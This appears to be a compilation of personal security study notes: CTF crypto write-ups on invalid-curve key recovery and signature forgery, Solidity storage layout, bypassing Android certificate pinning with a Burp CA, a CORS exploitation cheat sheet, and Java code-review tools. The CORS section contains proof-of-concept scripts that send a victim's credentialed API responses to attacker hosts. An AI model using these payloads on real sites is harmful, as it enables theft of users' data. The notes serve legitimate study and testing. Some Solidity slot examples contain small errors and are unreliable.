It's important to note that the node operator's funds are still safe since the spending key is not stored on the node or used for transaction scanning. But now you can set up your own tracking node and watch every transaction that is sent to the node operator, defeating the unlinkable payments model.\`\`\`

We have 2 files, transactions and their error log:
{% endhint %}

{% hint style="info" %}

````
txs.json
 ```[
    {
        "tx_output":{
            "dest_key":"G0",
            "amount":"0"
        },
        "tx_pub_key":"0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000"
    },
    {
        "tx_output":{
            "dest_key":"G1",
            "amount":"0"
        },
        "tx_pub_key":"0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F"
    },
    ...
    ...
    ```
 err_log.json

 ```
 [
    {
        "err_type":"UndefinedComparisonError",
        "tx_hash":"0xC22BFF809BF5FC146D4AB3D971E1E3F7A079BEE4B03D4D33FDFC846DBDC4D881",
        "err_msg":"Comparison is not defined between P=0xG0 (type TxDestKeyStr) and P_prime=0x898CB2616E46E8F01CB4C05732EB89D921543FE30000000000000000000000000000000000000000 (type TxDestKey)",
        "datetime":"2019-06-12T21:24:05.160604"
    },
    {
        "err_type":"UndefinedComparisonError",
        "tx_hash":"0xCABDBF620B9A5989A238EF4235F756DDD77B5B1E3837E99DCF2EBB2B1CC4A458",
        "err_msg":"Comparison is not defined between P=0xG1 (type TxDestKeyStr) and P_prime=0x7631DC05F1954DA902E29FC8E2E7EC21A80C5CA474657D752620FD5E46628039AF3409C6CB209C5F (type TxDestKey)",
        "datetime":"2019-06-12T21:24:05.365136"
    },
    ...
````

{% endhint %}

The CryptoNode use Elliptic-curve Diffie–Hellman(ECDH) to establish a common secret between client and server, the elliptic-curve is brainpoolP160r1(RFC - <https://tools.ietf.org/html/rfc5639>), so we know value of p, A, B, base point (x,y), q

Curve-ID: brainpoolP160r1

```
  p = E95E4A5F737059DC60DFC7AD95B3D8139515620F
  A = 340E7BE2A280EB74E2BE61BADA745D97E8F7C300
  B = 1E589A8595423412134FAA2DBDEC95C8D8675E58
  x = BED5AF16EA3F6A4F62938C4631EB5AF7BDBCDBC3
  y = 1667CB477A1A8EC338F94741669C976316DA6321
  q = E95E4A5F737059DC60DF5991D45029409E60FC09
  h = 1
```

In order to understand the basic idea behind our attacks, you just need to know that an elliptic curve E in cryptography is a set of points over a finite field satisfying the following equation: `E: y^2 = x^3 + ax + b`

You can read more from <https://en.wikipedia.org/wiki/Elliptic-curve_cryptography>

According to the CryptoNode whitepaper, we know the destination key is "P = Hs(rA)G + B" and one-time public key is "P' = Hs(aR)G + bG". But to simplify the challenge, the destination key is P=rA, P'=aR and the tracking key is **a**

`P = rA`  \
`P' = aR`  \
`R = rG => P' = a(rG)`

G is a base point, that belong to the curve(brainpoolP160r1). We need to find the tracking key **a**(a part of private key).

Reading through the transaction log  txs.json, we can get x, y (It's a 160-bit curve, so a point on the curve is a pair of 160-bit numbers. A point on the curve is serialized as follows: 0xXXXXYYYY, where XXXX is a 160-bit hexadecimal number corresponding to the x-coordinate of the point and YYYY is another 160-bit number in hex corresponding to the y-coordinate of the point). The first 20 bytes of the transaction is X, the last 20 bytes is Y. Now we use SageMath to check these points - They belong to the curve?.

After checking, all of them do not belong to the defined curve. Look like the attacker sent 22 invalid points(outside of the defined curve) to the server. The invalid point could belong to a different curve **E'** (different B), which consists of a very small number of elements(Invalid curve attacks).&#x20;

Let’s call this new curve E′. `E′: y^2 ≡ x^3 + A*x + B' (mod P) B' ≠ B`

We have 22 points in the txs.json, so we can compute **B'** with the expression:

&#x20;`B' = (Y^2 - X^3 - A*X) mod p`

`B' = [214056964304889, 221864837895040, 227922420544393, 241972569596889, 8356763387106, 28159690006704, 9516820837131, 165209032884639, 168449704989074, 60673558959867, 101581735758527, 159237028241252, 40242026678833, 103670189236856, 262646877055792, 240332779594647, 239871262924756, 193672526341504, 269060903799201, 187321463214601, 185801876971391, 256736902157449]`

These new curve’s order has a small prime divisor r will ensure there exists a subgroup of 𝔼′ of small order r. As the discrete logarithm(<https://en.wikipedia.org/wiki/Discrete_logarithm>) is now in the subgroup of |r| generated by G ∈ 𝔼′, the result will only have r possible values. If we send the invalid point P' to the server, the server computes secret sP'. The secret can have only small possible values. If we are able to learn the result sP'(from err\_log.json), we then also learn s1 = s mod (small order).

This will leak k mod r. Repeating this for new curves and new r values will create a system of linear congruences which can be solved with the Chinese Remainder Theorem, we can find out the final value of k.

`a = k ≡ X (mod r)`

Using the result in **err\_log.json,** we can compute the discrete logarithm of **G1\`** and the order of **G\`.**

``K mod order(G`) = discrete_log(G1`)``

```
K mod 2 = 1
K mod 11 = 1
K mod 23 = 7
K mod 5 = 1
K mod 41 = 34
K mod 7 = 4
K mod 293 = 273
K mod 691 = 161
K mod 347 = 93
K mod 17 = 7
K mod 229 = 162
K mod 53 = 19
K mod 13 = 7
K mod 977 = 380
K mod 89 = 83
K mod 109 = 82
K mod 9767 = 4771
K mod 439511 = 381213
K mod 10009 = 758
K mod 26459 = 14048
K mod 37 = 11
K mod 949213 = 196934
```

Finally, We get the secrect with the Chinese Remainder Theorem(CRT)

```
CRT[1, 1, 7, 1, 34, 4, 273, 161, 93, 7, 162, 19, 7, 380, 83, 82, 4771, 381213, 758, 14048, 11, 196934][2, 11, 23, 5, 41, 7, 293, 691, 347, 17, 229, 53, 13, 977, 89, 109, 9767, 439511, 10009, 26459, 37, 949213]
```

```
=> K =1156617505655811021722283933528498201 => hex(K) = 0xdec1a551f1edc014ba5edefc042019
```

**The secret:**

`0xdec1a551f1edc014ba5edefc042019`

## Schnorrer signature (400)&#x20;

Question & Answer:

{% file src="/files/-Locd7jhzD5XINOhf-Yj" %}

Code:

```python
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from hashlib import sha256
from Crypto.Random import random
G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)

c = int('dfea49684815ac0fd1d20404d9eb6146072e1928dcb9c31d7eb751268976e3ee',16)
Ux = int('e1a83769a5da6d4c5235746e89ab18c2d8e3b50b4856ae11656f979ef5bfe1cd',16)
Uy = int('ebf7a69ef8c22d2af9a9429970e52ac9458eb94bb1463790dadb431dec1546e6',16)
U = Point(Ux,Uy,curve = secp256k1)
x = random.randint(0,secp256k1.q)
print x

temp = -c *U + G*x
print temp
print hex(49368365179398110671535853755606456803748384354143305816183563097234358761597)
```

## Forging a signature (500)

Question & Answer

{% file src="/files/-Locd\_2GnrqpLQ5eoqiN" %}

```python
##### Utility function
p_hex ='fffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'
p = int(p_hex, 16)
# print p
def uncompress(compressed_key):

    y_parity = int(compressed_key[:2]) - 2
    x = int(compressed_key[2:], 16)
    a = (pow(x, 3, p) + 7) % p
    y = pow(a, (p+1)//4, p)
    
    if y % 2 != y_parity:
        y = -y % p
    
    uncompressed_key = '04{:x}{:x}'.format(x, y)
    return(uncompressed_key)

def compress(uncompressed_key):
    y = uncompressed_key[66:]
    x = uncompressed_key[2:66]
    # print int(y,16)%2
    if int(y,16) % 2 == 0:
        compressed_key = '02' + x
    else: compressed_key = '03' + x
    return compressed_key
##################################
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from hashlib import sha256
G = Point(secp256k1.gx, secp256k1.gy, curve =secp256k1)
hash = sha256('CoinbaesRulez').hexdigest()
hash = int(hash,16)% secp256k1.q
H = G*hash

hash_inv = pow(hash,secp256k1.q-2,secp256k1.q)
x = (4011*hash_inv + 6420) % secp256k1.q
y = H*x
r = 25
t = H*r

text1 = ('02{:x}'.format(H.x)).decode('hex')
text2 = ('03{:x}'.format(t.x)).decode('hex')
text3 = ('020{:x}'.format(y.x)).decode('hex')

# value_to_hash = compress(text1)+compress(text2)+compress(text3)
value = text1+text2+text3
print len(text3)

# print compress('04{:x}{:x}'.format(H.x,H.y))
# print compress('04{:x}{:x}'.format(t.x,t.y))
# print compress('04{:x}{:x}'.format(y.x,y.y))
# print hex(y.x)
c = sha256(value).hexdigest()
s = (r + int(c,16)*x)% secp256k1.q
# print text2.encode('hex')
# print y
print hex(s)

# print G*s
# print t +y*int(c,16)
```


# Understand Solidity Storage in depth

## Introduction&#x20;

The slots in **storage** are stored as key-value pairs with a length of 256 bits (32 bytes). The default value of each slot is always 0, so we do not need to assign a value to 0 when the new declaration.

Basically, we can barely understand that variables in a contract will be stored in storage as follows:

* Storage only stores variables, not *constant*
* Each slot can store up to 256 bits (32 bytes)
* The variables in turn are in slot in the order of lower-order (ie from right to left).
* If the size of the variable exceeds the remaining size of the slot, this variable will be passed to the new slot.
* Struct creates a new slot, the struct elements are put into the slot in the same way as above.
* Fixed size array creates a new slot, struct elements are put into the slot in the same way as above.
* Dynamic size array creates a new slot, this slot only stores **the length** of the array, while the **values** in the array will be stored at other locations (we will talk more in detail later)
* Mapping always creates a new slot to hold a place, the values ​​in the array will be stored in other locations, we will talk more in detail later.
* String creates a new slot, this slot stores both data & data length, we will talk more in detail later.

Going into practice, we will see that the combination of data types becomes much more complicated.&#x20;

**You may not know:**

* All variables in the contract are stored in storage and are accessible
* Regardless of whether you have declared the variable `private`or `internal`not, it only works within the scope of the contract only, on the blockchain are all public. Of course, depending on the data type, there will be different encryption, but basically nothing is private at all.

## Fixed size variables

The fixed size variables are single variables, using the basic data types such as `uint8, uint16, uint24, uint32, uint64, uint128, uint256, bool, address`\
we have a sample contract:

```javascript
contract StorageTest {
  uint256 a;
  uint256[2] b;

  struct Entry {
    uint256 id;
    uint256 value;
  }
  Entry c;
}
```

The variables will be stored in storage as follows:

* `a`is stored in slot 0 and it occupies this slot due to the size of `a`256 bits (uint256)
* `b`occupies a new slot (slot 1) which contains 2 elements. Because the data type of b is `uint256`, each element will occupy a slot. This means that b \[0] will occupy slot 1, and b \[1] will occupy slot 2
* Struct Entry has just been declared, it does not count
* `c`will occupy a new slot (slot 3) and then put 2 elements in the struct in. Just like `b`the above, every element is `uint256`so each will occupy a slot. The result is `c.id`occupied slot 3 and `c.value`occupied slot 4

Another example:

```javascript
pragma solidity ^0.5.9;

contract StorageTest {
  uint8 public a = 7; //0
  uint16 public b =10; //0
  address public d = 0xbE03bCA4D65A86114668697867982Ecfc76f15F8; //0
  bool public bb = true; //0
  uint64 public c = 15; //0
  uint256 public e = 200; //1
  uint8 public f = 40; //2
  uint256 public g = 789; //3
}
```

In this contract the variable is not full-slot size as before, so how is it arranged in storage?&#x20;

* `a` 8 bit size, put into slot 0
* `b` 16 bit size, put into slot 0
* `d` is the address. The address has 40 hexadecimal characters, so 160 bits
* `bb` is bool type, only need 1 bit to store, but in solidity, the smallest data type is 8 bits, so bool will also occupy 8 bits; we put it into slot 0
* `c` 64 bit, we still can put it into slot 0 because (a+b+d+bb+c = 256 bit)
* `e` 256 bit, because slot 0 has been filled by (a,b,d,bb,c) with 256 bit, so e will be stored in slot 1
* `f` 8 bit, f has to be stored in slot 2 because of a full of 256 bit of `e`&#x20;
* `g` 256 bit, put in slot 3

How do we verify this? We will deploy to a testnet network (here I use Ropsten) and then get the data to try.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LvnMXoG8G52FdXZPcoR%2F-LvnX5G2VSer_Ro8oWn6%2Fimage.png?alt=media\&token=4fa9d0ef-308b-4a60-9639-0c5c61a83f01)

Slot 0:

```
truffle(ropsten)> web3.eth.getStorageAt('0x9129970dce1274D3D6FB94B705F21eaAe8fABF1F', 0)
'0x000000000000000f01be03bca4d65a86114668697867982ecfc76f15f8000a07
```

So, as I've described earlier. It's stored from right to left in Hexadecimal, let's dive right into the analysis

```
0x000000000000000f01be03bca4d65a86114668697867982ecfc76f15f8000a070x000000000000000f01be03bca4d65a86114668697867982ecfc76f15f8000a07
```

`a`  is 7 = 07 (Hex to Dec)

`b` is 10 = 0a (10 hex to Dec is a)

`c` is 0xbE03bCA4D65A86114668697867982Ecfc76f15F8

`d` is True = 01

`bb` is 15 = 0f

```
truffle(ropsten)> web3.utils.fromDecimal("0xbe03bca4d65a86114668697867982ecfc76f15f800")
'0xbe03bca4d65a86114668697867982ecfc76f15f800'
```

Slot 1:

`e` 200 = c8 (Hex to Dec)

```
truffle(ropsten)> web3.eth.getStorageAt('0x9129970dce1274D3D6FB94B705F21eaAe8fABF1F', 1)
'0x00000000000000000000000000000000000000000000000000000000000000c8'
```

Slot :2

`f` 40 = 28 (Hex to Dec)

```
truffle(ropsten)> web3.eth.getStorageAt('0x9129970dce1274D3D6FB94B705F21eaAe8fABF1F', 2)
'0x0000000000000000000000000000000000000000000000000000000000000028'
```

Slot 3:

`g` 789 = 315 (Hex to Dec)

```
truffle(ropsten)> web3.eth.getStorageAt('0x9129970dce1274D3D6FB94B705F21eaAe8fABF1F', 3)
'0x0000000000000000000000000000000000000000000000000000000000000315'
```

## Dynamic Size variables

Dynamic arrays always occupies a new slot, and this slot will store the length of the array.

Assuming there is an X array, the element in the dynamic array will be stored sequentially from `keccak256(X)`, one important note X is the *string of* 64 hexa (256 bit) characters, not the uint values.

```javascript
pragma solidity ^0.5.9;

contract StorageTest {
  uint256 a;     // slot 0
  uint256[3] b;  // slots 1-2-3

  struct Entry {
    uint256 id;
    uint256 value;
  }
  
  Entry c;       // slots 4-5
  uint256[] d;
  Entry[] e;

  constructor () public {
    d.push(1);
    d.push(2);
    d.push(3);
    e.push(Entry(4, 5));
  }
}
```

Length of `d`&#x20;

```
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",6)
'0x0000000000000000000000000000000000000000000000000000000000000003'
```

Value of \`d\[0]\`

```
lengthof6="0x0000000000000000000000000000000000000000000000000000000000000006"
d0=web3.utils.soliditySha3(lengthof6)
'0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f'
```

```
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",d0)
'0x0000000000000000000000000000000000000000000000000000000000000001'
```

Value of `d[1]`= d0 + 1

Convert `d0` to Decimal to make a summation operation

111414077815863400510004064629973595961579173665589224203503662149373724986687 + 1 = 111414077815863400510004064629973595961579173665589224203503662149373724986688

Decimal of `d[1]` is 111414077815863400510004064629973595961579173665589224203503662149373724986688

The address of `d[1]` should be presented in Hexadecimal

```
d1 = "0xF652222313E28459528D920B65115C16C04F3EFC82AAEDC97BE59F3F377C0D40"
```

```
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",d1)
'0x0000000000000000000000000000000000000000000000000000000000000002'
```

Similar to `d[2]`, d\[2] = d\[1] + 1

111414077815863400510004064629973595961579173665589224203503662149373724986688 + 1 = 111414077815863400510004064629973595961579173665589224203503662149373724986689

Decimal of `d[1]` is 111414077815863400510004064629973595961579173665589224203503662149373724986689

```
d2="0xF652222313E28459528D920B65115C16C04F3EFC82AAEDC97BE59F3F377C0D41"
```

```
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",d2)
'0x0000000000000000000000000000000000000000000000000000000000000003'
```

Check length of `e`

```
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",7)
'0x0000000000000000000000000000000000000000000000000000000000000001'
```

Value of `e[0].id`

```
truffle(ropsten)> lengthof7="0000000000000000000000000000000000000000000000000000000000000007"
'0000000000000000000000000000000000000000000000000000000000000007'
truffle(ropsten)> e0=web3.utils.soliditySha3(lengthof7)
'0xa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688'
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",e0)
'0x0000000000000000000000000000000000000000000000000000000000000004'
```

Value of `e[0].value`

e\[0].value = e\[0].id + 1&#x20;

0xa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688 + 1 = 0xA66CC928B5EDB82AF9BD49922954155AB7B0942694BEA4CE44661D9A8736C689

```
truffle(ropsten)> e1="0xA66CC928B5EDB82AF9BD49922954155AB7B0942694BEA4CE44661D9A8736C689"
'0xA66CC928B5EDB82AF9BD49922954155AB7B0942694BEA4CE44661D9A8736C689'
truffle(ropsten)> web3.eth.getStorageAt("0x22a77C59ab77B431E5c7236A531D032551cc0aD5",e1)
'0x0000000000000000000000000000000000000000000000000000000000000005'
```

Eg:

```javascript
bool public contact;
bytes32[] public codex;
```

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-MewoTeb2kyrcepe8mL1%2F-Mewoo8bsg10883vtDs5%2FScreen%20Shot%202021-07-19%20at%2010.33.15%20AM.png?alt=media\&token=ec7770cb-ef69-4988-9851-c36d56c10bea)

## Mapping

Mapping always takes up a new slot, but this slot doesn't store any value at all!&#x20;

We have a contract which comprises the mapping `f`

```javascript
pragma solidity ^0.5.9;

contract StorageTest {
  uint256 a;     // slot 0
  uint256[2] b;  // slots 1-2

  mapping (uint256 => uint256) f; //slot 3

  constructor () public {
    f[20] = 8;
    f[567] = 133;
  }
}
```

As we can straightforwardly realize that the mapping `f` allocated in slot 3

* `f` will occupy slot 3
* `f[20]` will occupy slot `keccak256(hex(20) + hex(7))`
* `f[567]` will occupy slot `keccak256(hex(567) + hex(7))`

After an above contract deployed, we check the information of the contract as follows


# Burp Suite SSL Pinning

Since the "traditional" way of installing a user certificate doesn't work anymore in Nougat and above, for me the easiest solution is to install the Burp CA to the system trusted certificates. You can see all the system CAs that are bundled with an Android device by going to *Settings -> Security -> Trusted Credentials* and viewing system CAs. You'll see the similar CAs you'd see in a browser bundle.

Trusted CAs for Android are stored in a special format in `/system/etc/security/cacerts`. If we have root privileges, it's possible to write to this location and drop in the Burp CA (after some modification).

{% hint style="info" %}
Remove all existed PortSigger Cert (if not, the whole thing does not work)
{% endhint %}

**Export and convert the Burp CA**\
The first step is to get the Burp CA in the right format. Using Burp Suite, export the CA Certificate in DER format. I saved it as `cacert.der`

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-M4Wfx9WMA808OMWZe6J%2F-M4WgmYOpOIbj0YoGtKp%2Fexport_burp_ca.png?alt=media\&token=4d31d80c-dc3d-4e85-80e6-dcc1841e04d6)

Android wants the certificate to be in PEM format, and to have the filename equal to the `subject_hash_old` value appended with `.0`.

*Note: if you are using OpenSSL <1.0, it's actually just the `subject_hash`, not the "old" one*

Use `openssl` to convert DER to PEM, then output the `subject_hash_old` and rename the file:

```
openssl x509 -inform DER -in cacert.der -out cacert.pem  
openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1  
mv cacert.pem <hash>.0  
```

For example, with my certificate:

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-M4Wfx9WMA808OMWZe6J%2F-M4WgzytOno8KKe_jtKg%2Fopenssl_convert.png?alt=media\&token=7ce04c9c-0b00-4498-9d46-76da83565465)

**Copy the certificate to the device**\
We can use `adb` to copy the certificate over, but since it has to be copied to the `/system` filesystem, we have to remount it as writable. As root, this is easy with `adb remount`.

```
 adb push <cert>.0 /sdcard/
 mount -o rw,remount /system
 mount -o ro,remount /system  
```

The just drop into a shell (`adb shell`) and move the file to `/system/etc/security/cacerts` and chmod it to 644:

```
mv /sdcard/<cert>.0 /system/etc/security/cacerts/  
chmod 644 /system/etc/security/cacerts/<cert>.0  
```

Lastly, we have to full reboot the device with either `adb reboot` or a power cycle.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-M4Wfx9WMA808OMWZe6J%2F-M4Wh7NmPRcPQTbqVOms%2Fcopy_cert.png?alt=media\&token=df9e7d95-150c-453e-9930-a1b026da653c)

After the device reboots, browsing to *Settings -> Security -> Trusted Credentials* should show the new "Portswigger CA" as a system trusted CA.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-M4Wfx9WMA808OMWZe6J%2F-M4WhC0V7grEQycP_Onf%2Fportswigger_system_ca.png?alt=media\&token=4d5a7a16-eb16-4fd1-aa19-3ee68de849f3)

Now it's possible to set up the proxy and start intecepting any and all app traffic with Burp :)

P/s: This article had been built up for my personal use cases, and it's originally taken from this [write-up](https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/)


# CORS

> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.

### Summary

* Prerequisites
* Exploitation
* References

### Prerequisites

* BURP HEADER (Request) > `Origin: https://evil.com`
* VICTIM HEADER (Response) > `Access-Control-Allow-Credential: true`
* VICTIM HEADER (Response) > `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
* BURP HEADER (Request) > `Origin: Null` AND the Response `Access-Control-Allow-Origin: null`

> We should check manually, do not just rely on the origin request header.

### Exploitation

Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target <https://victim.example.com/endpoint>.

#### Vulnerable Example: Origin Reflection

**Vulnerable Implementation**

```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

**Proof of concept**

```javascript
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

or

```markup
<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>
```

> Standard CORS requests do not send or set any cookies by default. In order to include cookies as part of the request, you need to set the XMLHttpRequest’s .withCredentials property to true

#### Vulnerable Example: Null Origin

**Vulnerable Implementation**

It's possible that the server does not reflect the complete `Origin` header but that the `null` origin is allowed. This would look like this in the server's response:

```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

**Proof of concept**

This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the `null` origin in the request:

```markup
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
  var req = new XMLHttpRequest ();
  req.onload = reqListener;
  req.open('get','https://victim.example.com/endpoint',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe>
```

#### Vulnerable Example: XSS on Trusted Origin

If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again.

```
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
```

Sometimes, the payloads does not pop up via XSS. You should also get the response from the console.

```
https://trusted-origin.example.com/?xss=<script>var req = new XMLHttpRequest(); req.open('get','https://acb01fc81f8f9958806a0dee004900a5.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send();</script>
```

Go to the Console and ask for: `req.response`

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-M6maPDhPLHtbnYpsz3e%2F-M6malpKFvMKm3aj7DWZ%2FScreen%20Shot%202020-05-07%20at%2016.01.37.png?alt=media\&token=2c0e0a79-5a62-42f2-9790-5bc3c0374339)

#### Vulnerable Example: Wildcard Origin `*` without Credentials

If the server responds with a wildcard origin `*`, the browser does never send the cookies. However, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data withotu authentication.

**Vulnerable Implementation**

```
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

{"[private API key]"}
```

**Proof of concept**

```javascript
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.internal.example.com/endpoint',true); 
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

### Bug Bounty reports

* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
* [\[██████\] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)

### References

* [CORS Introduction](https://www.html5rocks.com/en/tutorials/cors/)
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)


# Secure Coding Experience For Java SE

I just had been assigned to the secure coding for a Java project. The first thing I 'd do, as usual, is look for suitable documents to set up my own checklist. In doing so, we'll ensure we don't miss any kind of bugs or unsafe code output.

Once making the security checklists, people still talk about OWASP for the first time, so do I. Fortunately, I also found <https://www.oracle.com/java/technologies/javase/seccodeguide.html> which was made by Oracle, and this should be reliable and valuable reference. I should have glanced over the OWASP secure coding guidelines, but I think Oracle provides a sufficient knowledge with respect to their child. Hence, I decided to stick with their guideline.

You should also look at many other viewpoints as well when performing the code analysis either manually or automatically:

* Control Flow Analysis ( a graph of the program's control flow and look for anomalies)
* Symbolic Execution (determine the inputs that cause certian parts of the code to execute)
* Taint Analysis (check what variables are controled by other objects)
* Test Coverage (ensure that unit tests cover all of the code)
* Linting (ensure that contract meets style requirements and has no grammatical errors)

The above-mentioned perspectives should cover most of the important things that a code review should be conducted. However, in this article I'd want to keen on secure code review than checking for the grammatical errors :D&#x20;

## Checklist

You can find it [here](https://github.com/enderphan94/Code-Review/blob/master/README.md#secure-code-checklist-for-java-se)

## Automation Tests

For Java:

### [Spotbug](https://github.com/spotbugs/spotbugs)

[PMD](https://github.com/pmd/pmd) (.java)

* Download the latest version of PMD
* Decompress the file and compile the souce code as the [following](https://github.com/pmd/pmd/blob/master/BUILDING.md)
* The files should be placed in `pmd-pmd_releases-6.25.0/pmd-dist/target/pmd-bin-6.25.0/bin`
* `./run.sh pmd -d /Users/macbookpro/Downloads/java/contract.java -R ../../../../pmd-java/src/main/resources/category/java/bestpractices.xml -f html >> report_sample.html`

The rule files should be taken from `pmd-java/src/main/resources/category/java/`.

Read the [documentation](https://pmd.github.io/latest/pmd_userdocs_installation.html) for more details

### [Deep Dive](https://discotek.ca/deepdive.xhtml) (.apk, .jar)

* Download the latest version of DeepDive
* Decompress the zip file
* The `run.sh` should be in `/bin`
* It might return the error of `JAVA_HOME must point to a valid JRE (You may want to set it permanently in setenv.sh).`
* Run these 2 commands to get rid of the above issue and pop up the GUI

`export CLASSPATH=../discotek.deepdive-1.5.5-beta.jar:../lib/discotek.deepdive-engine-1.5.5-beta.jar`

`java -Xmx4G -jar ../lib/discotek.deepdive-engine-1.5.5-beta.jar -decompile=true -project-directory=../sample-config -output-directory=/temp/report ../discotek.deepdive-1.5.5-beta.jar`

### [Semgrep](https://github.com/returntocorp/semgrep) (java, python, golang, javascript)

* Clone the repo and read the Readme
* Run `semgrep --config=https://semgrep.live/c/p/java <PathToFile>`
* [VisualCodeGrepp](https://sourceforge.net/projects/visualcodegrepp/) (C++, C#, VB, PHP, Java, PL/SQL and COBOL)
* Download the latest version
* Install it in WIndows
* Select the language
* Open the folder that contains the source code files.

### [Gaudit](https://github.com/wireghoul/graudit) (many languages)

graudit \[opts] /path/to/scan

OPTIONS&#x20;

`-d  database to use or /path/to/file.db (uses default if not specified)`&#x20;

`-A scan ALL files`&#x20;

`-x exclude these files (comma separated list: -x`` `*`.js,`*`.sql)`&#x20;

`-i case in-sensitive scan`&#x20;

`-c  number of lines of context to display, default is 2`

`-B suppress banner`&#x20;

`-L vim friendly lines`&#x20;

`-b colour blind friendly template`&#x20;

`-z suppress colors`

&#x20;`-Z high contrast colors`

`-l lists databases available`&#x20;

`-v prints version number`&#x20;

`-h prints this help screen`

## Manual Review

Use your eyes. But this [tool](https://github.com/AlDanial/cloc) can help you identify the LOC and language&#x20;

&#x20;


# Blind MySQL Injection Using Bit Shifting

## Reasons?

